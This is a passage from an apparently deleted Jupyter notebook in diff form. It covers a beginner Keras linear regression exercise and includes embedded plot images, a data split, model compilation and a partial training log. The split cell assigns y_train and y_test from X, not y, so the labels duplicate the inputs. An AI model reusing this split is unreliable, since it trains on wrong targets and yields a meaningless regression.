i3+9Yc02qKobkixn/dMp99oQNqxZ4l7rq/ur2keTPJvkE60199hlDFizxD22mfcm+c0k3+s55j7b3Htz6Zol7rPNtCR/XVUnq+qu7thU3GeLOBgPUn2O2bJj3fuTvCrJgSTnkryrO27NelTVS5J8OMmvtdb+ebNT+xxbyHXrs2butQFaaxdaaweS7Etya1X94CanL/x6JQPXzD02QFW9KcmzrbWTw76kzzFrts59trnbWms/kuQ/Jrm7qn58k3N3dc0WcTB+pqr2Jkn367Pd8bNJrus5b1+Sp3f52qZSa+2Z7g+Y7yX5QP71rzCsWaeqrsz6gPdnrbWPdIfda5vot2butctrrX0zyWeSvCHusaH0rpl7bFO3JfmZqnoqyYNJXltVfxr32Wb6rpn7bHOttae7X59N8tGsr89U3GeLOBg/lOTO7vGdST7Wc/yOqnpxVd2Y5KYkj0zg+qbOxRu18+YkF3essGZJqqqS/HGSJ1pr7+55yr02wKA1c6/1V1V7qurq7vFVSX4yyVfjHhto0Jq5xwZrrR1ure1rrd2Q5I4kn26t/VLcZwMNWjP32WBV9QNV9dKLj5P8VNbXZyrusxeN642nQVX9eZLXJLmmqs4m+Z0k9yU5WlVvSfIPSX4+SVprj1XV0SSPJ3k+yd2ttQsTufAJGrBmr6mqA1n/q4unkrw1sWY9bkvyy0m+3PWMSfLbca9tZtCa/aJ7ra+9SR6oqiuy/oHG0dbaw1X1ubjHBhm0Zn/iHhuZ/5eN7g/cZwO9MslH1z8fyYuSfKi19vGq+p+ZgvvMT74DAIAsZkoBAACXMBgDAEAMxgAAkMRgDAAASQzGAACQxGAMAABJDMYAAJDEYAwAAEmS/w/3BlgvLUr7BgAAAABJRU5ErkJggg==\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.figure(figsize=(12,8))\n", - "plt.scatter(X,y)" - ] - }, - { - "cell_type": "code", - "execution_count": 43, - "id": "6947f7db", - "metadata": {}, - "outputs": [], - "source": [ - "X_train= X[:20]\n", - "X_test=X[20:]\n", - "y_train= X[:20]\n", - "y_test= X[20:]" - ] - }, - { - "cell_type": "code", - "execution_count": 44, - "id": "8a476d41", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 44, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.figure(figsize=(12,8))\n", - "plt.scatter(X_train,y_train)\n", - "plt.scatter(X_test,y_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 45, - "id": "c5874d99", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Model: \"sequential_4\"\n", - "_________________________________________________________________\n", - "Layer (type) Output Shape Param # \n", - "=================================================================\n", - "dense_6 (Dense) (None, 1) 2 \n", - "=================================================================\n", - "Total params: 2\n", - "Trainable params: 2\n", - "Non-trainable params: 0\n", - "_________________________________________________________________\n" - ] - } - ], - "source": [ - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(1, input_shape=[1])]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.Adam(lr=0.01), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "model.summary()" - ] - }, - { - "cell_type": "code", - "execution_count": 46, - "id": "ebd0c261", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/200\n", - "1/1 [==============================] - 0s 285ms/step - loss: 366.4267 - mae: 366.4267\n", - "Epoch 2/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 365.0367 - mae: 365.0367\n", - "Epoch 3/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 363.6467 - mae: 363.6467\n", - "Epoch 4/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 362.2567 - mae: 362.2567\n", - "Epoch 5/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 360.8667 - mae: 360.8667\n", - "Epoch 6/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 359.4767 - mae: 359.4767\n", - "Epoch 7/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 358.0867 - mae: 358.0867\n", - "Epoch 8/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 356.6967 - mae: 356.6967\n", - "Epoch 9/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 355.3067 - mae: 355.3067\n", - "Epoch 10/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 353.9167 - mae: 353.9167\n", - "Epoch 11/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 352.5267 - mae: 352.5267\n", - "Epoch 12/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 351.1367 - mae: 351.1367\n", - "Epoch 13/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 349.7467 - mae: 349.7467\n", - "Epoch 14/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 348.3567 - mae: 348.3567\n", - "Epoch 15/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 346.9667 - mae: 346.9667\n", - "Epoch 16/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 345.5767 - mae: 345.5767\n", - "Epoch 17/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 344.1867 - mae: 344.1867\n", - "Epoch 18/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 342.7967 - mae: 342.7967\n", - "Epoch 19/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 341.4067 - mae: 341.4067\n", - "Epoch 20/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 340.0167 - mae: 340.0167\n", - "Epoch 21/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 338.6267 - mae: 338.6267\n", - "Epoch 22/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 337.2367 - mae: 337.2367\n", - "Epoch 